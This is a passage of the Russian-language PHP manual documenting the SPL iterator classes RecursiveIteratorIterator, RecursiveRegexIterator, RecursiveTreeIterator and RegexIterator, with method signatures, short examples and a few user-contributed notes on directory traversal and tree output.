У этой функции нет параметров.

Возвращаемые значения

Текущий ключ.

User Contributed Notes

There are no user contributed notes for this page.


Перемещение итератора к следующему элементу

  • « RecursiveIteratorIterator::key
  • RecursiveIteratorIterator::nextElement »
  • PHP Manual
  • RecursiveIteratorIterator
  • Перемещение итератора к следующему элементу

RecursiveIteratorIterator::next

(PHP 5, PHP 7, PHP 8)

RecursiveIteratorIterator::next — Перемещение итератора к следующему элементу

Описание

public RecursiveIteratorIterator::next(): void
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Следующий элемент

  • « RecursiveIteratorIterator::next
  • RecursiveIteratorIterator::rewind »
  • PHP Manual
  • RecursiveIteratorIterator
  • Следующий элемент

RecursiveIteratorIterator::nextElement

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::nextElement — Следующий элемент

Описание

public RecursiveIteratorIterator::nextElement(): void

Вызывается, когда следующий элемент становится доступен.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Перемещает итератор на первый элемент самого верхнего уровня вложенности внутреннего итератора

  • « RecursiveIteratorIterator::nextElement
  • RecursiveIteratorIterator::setMaxDepth »
  • PHP Manual
  • RecursiveIteratorIterator
  • Перемещает итератор на первый элемент самого верхнего уровня вложенности внутреннего итератора

RecursiveIteratorIterator::rewind

(PHP 5, PHP 7, PHP 8)

RecursiveIteratorIterator::rewind — Перемещает итератор на первый элемент самого верхнего уровня вложенности внутреннего итератора

Описание

public RecursiveIteratorIterator::rewind(): void
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Установка максимальной глубины вложенности

  • « RecursiveIteratorIterator::rewind
  • RecursiveIteratorIterator::valid »
  • PHP Manual
  • RecursiveIteratorIterator
  • Установка максимальной глубины вложенности

RecursiveIteratorIterator::setMaxDepth

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::setMaxDepth — Установка максимальной глубины вложенности

Описание

public RecursiveIteratorIterator::setMaxDepth(int $maxDepth = -1): void

Задаёт максимальную глубину вложенности элементов.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

maxDepth

Максимально допустимая глубина вложенности. -1 снимает ограничение на глубину рекурсии.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение Exception, если аргумент maxDepth меньше -1.

User Contributed Notes

Anonymous 15-Feb-2020 12:53
to only access the current folder:
$max_depth = 0;
Anonymous 05-Feb-2020 07:56
I didn't understand what to do with this statement:

RecursiveIteratorIterator::setMaxDepth ([ int $max_depth = -1 ] ) : void

So, after finding the answer, this is how you incorporate it (for anyone else who was stuck for a while like me!):

// define the depth of the tree to which you want to search
// where -1 = show all layers below the parent
// and 1 = show the first layer, etc, etc
$max_depth = -1;

// set the path to the directory
$this_directory

// do the search
$recursive = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($this_directory));

// now adjust the contents to your desired depth
$recursive->setMaxDepth($max_depth);


Проверка допустимости текущей позиции

  • « RecursiveIteratorIterator::setMaxDepth
  • RecursiveRegexIterator »
  • PHP Manual
  • RecursiveIteratorIterator
  • Проверка допустимости текущей позиции

RecursiveIteratorIterator::valid

(PHP 5, PHP 7, PHP 8)

RecursiveIteratorIterator::valid — Проверка допустимости текущей позиции

Описание

public RecursiveIteratorIterator::valid(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если текущая позиция допустима, false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Класс RecursiveRegexIterator

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

Введение

Этот рекурсивный итератор может фильтровать другой рекурсивный итератор с помощью регулярных выражений.

Обзор классов

class RecursiveRegexIterator extends RegexIterator implements RecursiveIterator {
/* Наследуемые константы */
public const int RegexIterator::USE_KEY;
public const int RegexIterator::INVERT_MATCH;
public const int RegexIterator::MATCH;
public const int RegexIterator::GET_MATCH;
public const int RegexIterator::ALL_MATCHES;
public const int RegexIterator::SPLIT;
public const int RegexIterator::REPLACE;
/* Наследуемые свойства */
public ?string $replacement = null;
/* Методы */
public __construct(
RecursiveIterator $iterator,
string $pattern,
int $mode = RecursiveRegexIterator::MATCH,
int $flags = 0,
int $pregFlags = 0
)
public getChildren(): RecursiveRegexIterator
public hasChildren(): bool
/* Наследуемые методы */
public RegexIterator::accept(): bool
public RegexIterator::getFlags(): int
public RegexIterator::getMode(): int
public RegexIterator::getPregFlags(): int
public RegexIterator::getRegex(): string
public RegexIterator::setFlags(int $flags): void
public RegexIterator::setMode(int $mode): void
public RegexIterator::setPregFlags(int $pregFlags): void
public FilterIterator::accept(): bool
public FilterIterator::current(): mixed
public FilterIterator::key(): mixed
public FilterIterator::next(): void
public FilterIterator::rewind(): void
public FilterIterator::valid(): bool
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Содержание

  • RecursiveRegexIterator::__construct — Конструктор класса RecursiveRegexIterator
  • RecursiveRegexIterator::getChildren — Возвращает итератор для текущего элемента
  • RecursiveRegexIterator::hasChildren — Определяет, возможна ли навигация по содержимому текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса RecursiveRegexIterator

  • « RecursiveRegexIterator
  • RecursiveRegexIterator::getChildren »
  • PHP Manual
  • RecursiveRegexIterator
  • Конструктор класса RecursiveRegexIterator

RecursiveRegexIterator::__construct

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RecursiveRegexIterator::__construct — Конструктор класса RecursiveRegexIterator

Описание

public RecursiveRegexIterator::__construct(
RecursiveIterator $iterator,
string $pattern,
int $mode = RecursiveRegexIterator::MATCH,
int $flags = 0,
int $pregFlags = 0
)

Создаёт новый объект-итератор регулярного выражения.

Список параметров

iterator

Рекурсивный итератор к которому требуется применить фильтр на основе регулярного выражения.

pattern

Регулярное выражение.

mode

Режим работы, список доступных режимов приведён в описании метода RegexIterator::setMode().

flags

Специальные флаги. Список доступных флагов приведён в описании метода RegexIterator::setFlags().

pregFlags

Флаги регулярного выражения. Список флагов зависит от режима работы:

RegexIterator preg_flags
режим работы | доступные флаги
RecursiveRegexIterator::ALL_MATCHES | Смотрите preg_match_all().
RecursiveRegexIterator::GET_MATCH | Смотрите preg_match().
RecursiveRegexIterator::MATCH | Смотрите preg_match().
RecursiveRegexIterator::REPLACE | нет
RecursiveRegexIterator::SPLIT | Смотрите preg_split().

Примеры

Пример #1 Пример использования RecursiveRegexIterator::__construct()

Создаёт новый объект-итератор RegexIterator, который выбирает все строки, которые начинаются со слова 'test'.

<?php
$rArrayIterator = new RecursiveArrayIterator(array('test1', array('tet3', 'test4', 'test5')));
$rRegexIterator = new RecursiveRegexIterator($rArrayIterator, '/^test/',
RecursiveRegexIterator::ALL_MATCHES);

foreach ($rRegexIterator as $key1 => $value1) {

if ($rRegexIterator->hasChildren()) {

// выведем все дочерние элементы
echo "Дочерние элементы: ";
foreach ($rRegexIterator->getChildren() as $key => $value) {
echo $value . " ";
}
echo "\n";
} else {
echo "Нет дочерних элементов\n";
}

}
?>

Результатом выполнения данного примера будет что-то подобное:

Нет дочерних элементов
Дочерние элементы: test4 test5

Смотрите также

  • preg_match() - Выполняет проверку на соответствие регулярному выражению
  • preg_match_all() - Выполняет глобальный поиск шаблона в строке
  • preg_replace() - Выполняет поиск и замену по регулярному выражению
  • preg_split() - Разбивает строку по регулярному выражению

User Contributed Notes

SongoQ 27-Oct-2009 11:22
RecursiveRegexIterator::ALL_MATCHES List all subdirectories and files.

<?php

$a = new RecursiveRegexIterator( new RecursiveDirectoryIterator(
'/home/songoq' ), '/mydir/i', RecursiveRegexIterator::ALL_MATCHES );

foreach( new RecursiveIteratorIterator( $a ) as $s )
{
       echo $s."\n";
}


Возвращает итератор для текущего элемента

  • « RecursiveRegexIterator::__construct
  • RecursiveRegexIterator::hasChildren »
  • PHP Manual
  • RecursiveRegexIterator
  • Возвращает итератор для текущего элемента

RecursiveRegexIterator::getChildren

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RecursiveRegexIterator::getChildren — Возвращает итератор для текущего элемента

Описание

public RecursiveRegexIterator::getChildren(): RecursiveRegexIterator

Возвращает итератор для текущего элемента.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Итератор для текущего элемента, если возможна навигация по содержимому внутреннего итератора.

Ошибки

Если внутренний итератор указывает на элемент, который не содержит дочерних элементов, будет выброшено исключение InvalidArgumentException.

Примеры

Пример #1 Пример использования RecursiveRegexIterator::getChildren()

<?php
$rArrayIterator = new RecursiveArrayIterator(array('test1', array('tet3', 'test4', 'test5')));
$rRegexIterator = new RecursiveRegexIterator($rArrayIterator, '/^test/',
RecursiveRegexIterator::ALL_MATCHES);

foreach ($rRegexIterator as $key1 => $value1) {

if ($rRegexIterator->hasChildren()) {

// выведем все дочерние элементы
echo "Дочерние элементы: ";
foreach ($rRegexIterator->getChildren() as $key => $value) {
echo $value . " ";
}
echo "\n";
} else {
echo "Нет дочерних элементов\n";
}

}
?>

Результат выполнения данного примера:

Нет дочерних элементов
Дочерние элементы: test4 test5

Смотрите также

  • RecursiveRegexIterator::hasChildren() - Определяет, возможна ли навигация по содержимому текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Определяет, возможна ли навигация по содержимому текущего элемента

  • « RecursiveRegexIterator::getChildren
  • RecursiveTreeIterator »
  • PHP Manual
  • RecursiveRegexIterator
  • Определяет, возможна ли навигация по содержимому текущего элемента

RecursiveRegexIterator::hasChildren

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

RecursiveRegexIterator::hasChildren — Определяет, возможна ли навигация по содержимому текущего элемента

Описание

public RecursiveRegexIterator::hasChildren(): bool

Определяет, возможна ли навигация по содержимому текущего элемента. В случае, если текущий элемент имеет дочерние элементы, итератор для них можно получить методом RecursiveRegexIterator::getChildren().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если возможна навигация по содержимому текущего элемента, false в противном случае.

Примеры

Пример #1 Пример использования RecursiveRegexIterator::hasChildren()

<?php
$rArrayIterator = new RecursiveArrayIterator(array('test1', array('tet3', 'test4', 'test5')));
$rRegexIterator = new RecursiveRegexIterator($rArrayIterator, '/^test/',
RecursiveRegexIterator::ALL_MATCHES);

foreach ($rRegexIterator as $value) {
var_dump($rRegexIterator->hasChildren());
}
?>

Результат выполнения данного примера:

bool(false)
bool(true)

Смотрите также

  • RecursiveRegexIterator::getChildren() - Возвращает итератор для текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Класс RecursiveTreeIterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Позволяет производить итерации по RecursiveIterator для генерации графического дерева в ASCII.

Обзор классов

class RecursiveTreeIterator extends RecursiveIteratorIterator {
/* Наследуемые константы */
public const int RecursiveIteratorIterator::LEAVES_ONLY;
public const int RecursiveIteratorIterator::SELF_FIRST;
public const int RecursiveIteratorIterator::CHILD_FIRST;
public const int RecursiveIteratorIterator::CATCH_GET_CHILD;
/* Константы */
public const int BYPASS_CURRENT;
public const int BYPASS_KEY;
public const int PREFIX_LEFT;
public const int PREFIX_MID_HAS_NEXT = 1;
public const int PREFIX_MID_LAST = 2;
public const int PREFIX_END_HAS_NEXT = 3;
public const int PREFIX_END_LAST = 4;
public const int PREFIX_RIGHT = 5;
/* Методы */
public __construct(
RecursiveIterator|IteratorAggregate $iterator,
int $flags = RecursiveTreeIterator::BYPASS_KEY,
int $cachingIteratorFlags = CachingIterator::CATCH_GET_CHILD,
int $mode = RecursiveTreeIterator::SELF_FIRST
)
public beginChildren(): void
public beginIteration(): RecursiveIterator
public callGetChildren(): RecursiveIterator
public callHasChildren(): bool
public current(): mixed
public endChildren(): void
public endIteration(): void
public getEntry(): string
public getPostfix(): string
public getPrefix(): string
public key(): mixed
public next(): void
public nextElement(): void
public rewind(): void
public setPostfix(string $postfix): void
public setPrefixPart(int $part, string $value): void
public valid(): bool
/* Наследуемые методы */
public RecursiveIteratorIterator::beginChildren(): void
public RecursiveIteratorIterator::beginIteration(): void
public RecursiveIteratorIterator::callGetChildren(): ?RecursiveIterator
public RecursiveIteratorIterator::callHasChildren(): bool
public RecursiveIteratorIterator::current(): mixed
public RecursiveIteratorIterator::endChildren(): void
public RecursiveIteratorIterator::endIteration(): void
public RecursiveIteratorIterator::getDepth(): int
public RecursiveIteratorIterator::getInnerIterator(): RecursiveIterator
public RecursiveIteratorIterator::getMaxDepth(): int|false
public RecursiveIteratorIterator::getSubIterator(?int $level = null): ?RecursiveIterator
public RecursiveIteratorIterator::key(): mixed
public RecursiveIteratorIterator::next(): void
public RecursiveIteratorIterator::nextElement(): void
public RecursiveIteratorIterator::rewind(): void
public RecursiveIteratorIterator::setMaxDepth(int $maxDepth = -1): void
public RecursiveIteratorIterator::valid(): bool
}

Предопределённые константы

RecursiveTreeIterator::BYPASS_CURRENT

RecursiveTreeIterator::BYPASS_KEY

RecursiveTreeIterator::PREFIX_LEFT

RecursiveTreeIterator::PREFIX_MID_HAS_NEXT

RecursiveTreeIterator::PREFIX_MID_LAST

RecursiveTreeIterator::PREFIX_END_HAS_NEXT

RecursiveTreeIterator::PREFIX_END_LAST

RecursiveTreeIterator::PREFIX_RIGHT

Содержание

  • RecursiveTreeIterator::beginChildren — Начало навигации по потомкам элемента
  • RecursiveTreeIterator::beginIteration — Начало навигации
  • RecursiveTreeIterator::callGetChildren — Получение дочерних элементов
  • RecursiveTreeIterator::callHasChildren — Проверка, есть ли у текущего элемента потомки
  • RecursiveTreeIterator::__construct — Конструктор класса RecursiveTreeIterator
  • RecursiveTreeIterator::current — Получение текущего элемента
  • RecursiveTreeIterator::endChildren — Завершение навигации по потомкам элемента
  • RecursiveTreeIterator::endIteration — Завершение навигации
  • RecursiveTreeIterator::getEntry — Получение поддерева, корнем которого является текущий элемент
  • RecursiveTreeIterator::getPostfix — Получение суффикса
  • RecursiveTreeIterator::getPrefix — Получение префикса
  • RecursiveTreeIterator::key — Получение ключа текущего элемента
  • RecursiveTreeIterator::next — Переход к следующему элементу
  • RecursiveTreeIterator::nextElement — Следующий элемент
  • RecursiveTreeIterator::rewind — Перевод итератора в начало
  • RecursiveTreeIterator::setPostfix — Установка постфикса
  • RecursiveTreeIterator::setPrefixPart — Задание части префикса
  • RecursiveTreeIterator::valid — Проверка допустимости элемента

User Contributed Notes

matthieu88160 13-Feb-2017 12:14
$it = new RecursiveArrayIterator(array(1, 2, array(3, 4, array(5, 6, 7), 8), 9, 10));
$tit = new RecursiveTreeIterator($it);

foreach( $tit as $key => $value ){
    echo $value . PHP_EOL;
}

/* Will output

|-1
|-2
|-Array
| |-3
| |-4
| |-Array
| | |-5
| | |-6
| | \-7
| \-8
|-9
\-10

*/


Начало навигации по потомкам элемента

  • « RecursiveTreeIterator
  • RecursiveTreeIterator::beginIteration »
  • PHP Manual
  • RecursiveTreeIterator
  • Начало навигации по потомкам элемента

RecursiveTreeIterator::beginChildren

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::beginChildren — Начало навигации по потомкам элемента

Описание

public RecursiveTreeIterator::beginChildren(): void

Вызывается, когда обход дерева спускается на один уровень вниз.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Начало навигации

  • « RecursiveTreeIterator::beginChildren
  • RecursiveTreeIterator::callGetChildren »
  • PHP Manual
  • RecursiveTreeIterator
  • Начало навигации

RecursiveTreeIterator::beginIteration

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::beginIteration — Начало навигации

Описание

public RecursiveTreeIterator::beginIteration(): RecursiveIterator

Вызывается, когда начинается навигация по элементам (после первого вызова метода RecursiveTreeIterator::rewind()).

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект RecursiveIterator.

User Contributed Notes

There are no user contributed notes for this page.


Получение дочерних элементов

  • « RecursiveTreeIterator::beginIteration
  • RecursiveTreeIterator::callHasChildren »
  • PHP Manual
  • RecursiveTreeIterator
  • Получение дочерних элементов

RecursiveTreeIterator::callGetChildren

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::callGetChildren — Получение дочерних элементов

Описание

public RecursiveTreeIterator::callGetChildren(): RecursiveIterator

Возвращает итератор для элементов-потомков текущего элемента.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект RecursiveIterator.

User Contributed Notes

There are no user contributed notes for this page.


Проверка, есть ли у текущего элемента потомки

  • « RecursiveTreeIterator::callGetChildren
  • RecursiveTreeIterator::__construct »
  • PHP Manual
  • RecursiveTreeIterator
  • Проверка, есть ли у текущего элемента потомки

RecursiveTreeIterator::callHasChildren

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::callHasChildren — Проверка, есть ли у текущего элемента потомки

Описание

public RecursiveTreeIterator::callHasChildren(): bool

Проверяет, есть ли у текущего элемента потомки.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если у текущего элемента есть дочерние, false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса RecursiveTreeIterator

  • « RecursiveTreeIterator::callHasChildren
  • RecursiveTreeIterator::current »
  • PHP Manual
  • RecursiveTreeIterator
  • Конструктор класса RecursiveTreeIterator

RecursiveTreeIterator::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::__construct — Конструктор класса RecursiveTreeIterator

Описание

public RecursiveTreeIterator::__construct(
RecursiveIterator|IteratorAggregate $iterator,
int $flags = RecursiveTreeIterator::BYPASS_KEY,
int $cachingIteratorFlags = CachingIterator::CATCH_GET_CHILD,
int $mode = RecursiveTreeIterator::SELF_FIRST
)

Создаёт новый объект класса RecursiveTreeIterator на основе рекурсивного объекта-итератора.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

iterator

Объект класса RecursiveIterator или класса IteratorAggregate.

flags

Флаги влияют на поведение некоторых методов класса. Список возможных флагов можно найти на странице Предопределённых констант RecursiveTreeIterator.

caching_it_flags

Флаги для настройки внутреннего объекта RecursiveCachingIterator.

mode

Флаги для настройки внутреннего объекта RecursiveIteratorIterator.

User Contributed Notes

There are no user contributed notes for this page.


Получение текущего элемента

  • « RecursiveTreeIterator::__construct
  • RecursiveTreeIterator::endChildren »
  • PHP Manual
  • RecursiveTreeIterator
  • Получение текущего элемента

RecursiveTreeIterator::current

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::current — Получение текущего элемента

Описание

public RecursiveTreeIterator::current(): mixed

Возвращает текущий элемент с префиксом и суффиксом.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущий элемент с префиксом и суффиксом.

User Contributed Notes

There are no user contributed notes for this page.


Завершение навигации по потомкам элемента

  • « RecursiveTreeIterator::current
  • RecursiveTreeIterator::endIteration »
  • PHP Manual
  • RecursiveTreeIterator
  • Завершение навигации по потомкам элемента

RecursiveTreeIterator::endChildren

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::endChildren — Завершение навигации по потомкам элемента

Описание

public RecursiveTreeIterator::endChildren(): void

Вызывается, когда дочерние элементы одного уровня закончились.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Завершение навигации

  • « RecursiveTreeIterator::endChildren
  • RecursiveTreeIterator::getEntry »
  • PHP Manual
  • RecursiveTreeIterator
  • Завершение навигации

RecursiveTreeIterator::endIteration

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::endIteration — Завершение навигации

Описание

public RecursiveTreeIterator::endIteration(): void

Вызывается по завершении навигации (когда метод RecursiveTreeIterator::valid() впервые вернёт false).

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Получение поддерева, корнем которого является текущий элемент

  • « RecursiveTreeIterator::endIteration
  • RecursiveTreeIterator::getPostfix »
  • PHP Manual
  • RecursiveTreeIterator
  • Получение поддерева, корнем которого является текущий элемент

RecursiveTreeIterator::getEntry

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::getEntry — Получение поддерева, корнем которого является текущий элемент

Описание

public RecursiveTreeIterator::getEntry(): string

Получает поддерево, корнем которого является текущий элемент.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает поддерево, корнем которого является текущий элемент.

User Contributed Notes

There are no user contributed notes for this page.


Получение суффикса

  • « RecursiveTreeIterator::getEntry
  • RecursiveTreeIterator::getPrefix »
  • PHP Manual
  • RecursiveTreeIterator
  • Получение суффикса

RecursiveTreeIterator::getPostfix

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::getPostfix — Получение суффикса

Описание

public RecursiveTreeIterator::getPostfix(): string

Получает строку для помещения после текущего элемента.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку для помещения после текущего элемента.

User Contributed Notes

There are no user contributed notes for this page.


Получение префикса

  • « RecursiveTreeIterator::getPostfix
  • RecursiveTreeIterator::key »
  • PHP Manual
  • RecursiveTreeIterator
  • Получение префикса

RecursiveTreeIterator::getPrefix

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::getPrefix — Получение префикса

Описание

public RecursiveTreeIterator::getPrefix(): string

Получает строку для помещения перед текущим элементом.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку для помещения перед текущим элементом.

User Contributed Notes

There are no user contributed notes for this page.


Получение ключа текущего элемента

  • « RecursiveTreeIterator::getPrefix
  • RecursiveTreeIterator::next »
  • PHP Manual
  • RecursiveTreeIterator
  • Получение ключа текущего элемента

RecursiveTreeIterator::key

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::key — Получение ключа текущего элемента

Описание

public RecursiveTreeIterator::key(): mixed

Получает ключ текущего элемента с префиксом и суффиксом.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ключ текущего элемента с префиксом и суффиксом.

User Contributed Notes

There are no user contributed notes for this page.


Переход к следующему элементу

  • « RecursiveTreeIterator::key
  • RecursiveTreeIterator::nextElement »
  • PHP Manual
  • RecursiveTreeIterator
  • Переход к следующему элементу

RecursiveTreeIterator::next

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::next — Переход к следующему элементу

Описание

public RecursiveTreeIterator::next(): void

Переход к следующему элементу.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Следующий элемент

  • « RecursiveTreeIterator::next
  • RecursiveTreeIterator::rewind »
  • PHP Manual
  • RecursiveTreeIterator
  • Следующий элемент

RecursiveTreeIterator::nextElement

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::nextElement — Следующий элемент

Описание

public RecursiveTreeIterator::nextElement(): void

Вызывается, когда следующий элемент становится доступным.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Перевод итератора в начало

  • « RecursiveTreeIterator::nextElement
  • RecursiveTreeIterator::setPostfix »
  • PHP Manual
  • RecursiveTreeIterator
  • Перевод итератора в начало

RecursiveTreeIterator::rewind

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::rewind — Перевод итератора в начало

Описание

public RecursiveTreeIterator::rewind(): void

Переводит итератор на первый элемент верхнего уровня элементов внутреннего итератора.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Установка постфикса

  • « RecursiveTreeIterator::rewind
  • RecursiveTreeIterator::setPrefixPart »
  • PHP Manual
  • RecursiveTreeIterator
  • Установка постфикса

RecursiveTreeIterator::setPostfix

(PHP 5 >= 5.5.3, PHP 7, PHP 8)

RecursiveTreeIterator::setPostfix — Установка постфикса

Описание

public RecursiveTreeIterator::setPostfix(string $postfix): void

Устанавливает постфикс, используемый в RecursiveTreeIterator::getPostfix().

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

postfix

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Задание части префикса

  • « RecursiveTreeIterator::setPostfix
  • RecursiveTreeIterator::valid »
  • PHP Manual
  • RecursiveTreeIterator
  • Задание части префикса

RecursiveTreeIterator::setPrefixPart

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::setPrefixPart — Задание части префикса

Описание

public RecursiveTreeIterator::setPrefixPart(int $part, string $value): void

Устанавливает часть префикса, которая используется для построения графа.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

part

Одна из констант RecursiveTreeIterator::PREFIX_*.

value

Значение, которое требуется присвоить части префикса part.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Проверка допустимости элемента

  • « RecursiveTreeIterator::setPrefixPart
  • RegexIterator »
  • PHP Manual
  • RecursiveTreeIterator
  • Проверка допустимости элемента

RecursiveTreeIterator::valid

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

RecursiveTreeIterator::valid — Проверка допустимости элемента

Описание

public RecursiveTreeIterator::valid(): bool

Проверяет, имеет ли текущий элемент допустимое значение.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если текущий элемент валиден, false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Класс RegexIterator

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

Введение

Этот итератор может быть использован для фильтрации другого итератора на основе регулярных выражений.

Обзор классов

class RegexIterator extends FilterIterator {
/* Константы */
public const int USE_KEY;
public const int INVERT_MATCH;
public const int MATCH;
public const int GET_MATCH;
public const int ALL_MATCHES;
public const int SPLIT;
public const int REPLACE;
/* Свойства */
public ?string $replacement = null;
/* Методы */
public __construct(
Iterator $iterator,
string $pattern,
int $mode = RegexIterator::MATCH,
int $flags = 0,
int $pregFlags = 0
)
public accept(): bool
public getFlags(): int
public getMode(): int
public getPregFlags(): int
public getRegex(): string
public setFlags(int $flags): void
public setMode(int $mode): void
public setPregFlags(int $pregFlags): void
/* Наследуемые методы */
public FilterIterator::accept(): bool
public FilterIterator::current(): mixed
public FilterIterator::key(): mixed
public FilterIterator::next(): void
public FilterIterator::rewind(): void
public FilterIterator::valid(): bool
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Предопределённые константы

Режимы работы RegexIterator

RegexIterator::ALL_MATCHES

Возвращать все совпадения для текущий записи (смотрите preg_match_all()).

RegexIterator::GET_MATCH

Возвращать первое совпадение для текущей записи (смотрите preg_match()).

RegexIterator::MATCH

Только выполнение сравнения (фильтра) для текущей записи (смотрите preg_match()).

RegexIterator::REPLACE

Заменить текущую запись (смотрите preg_replace(); Полностью пока не реализовано)

RegexIterator::SPLIT

Возвращать разделённые значения для текущей записи (смотрите preg_split()).

Флаги RegexIterator

RegexIterator::USE_KEY

Специальный флаг: Сравнивать ключ записи вместо значения записи.

RegexIterator::INVERT_MATCH

Инвертирует возвращаемое значение RegexIterator::accept().

Свойства

replacement

Содержание

  • RegexIterator::accept — Проверка соответствия регулярному выражению
  • RegexIterator::__construct — Конструктор класса RegexIterator
  • RegexIterator::getFlags — Получение флагов настройки
  • RegexIterator::getMode — Возвращает режим работы
  • RegexIterator::getPregFlags — Возвращает флаги регулярного выражения
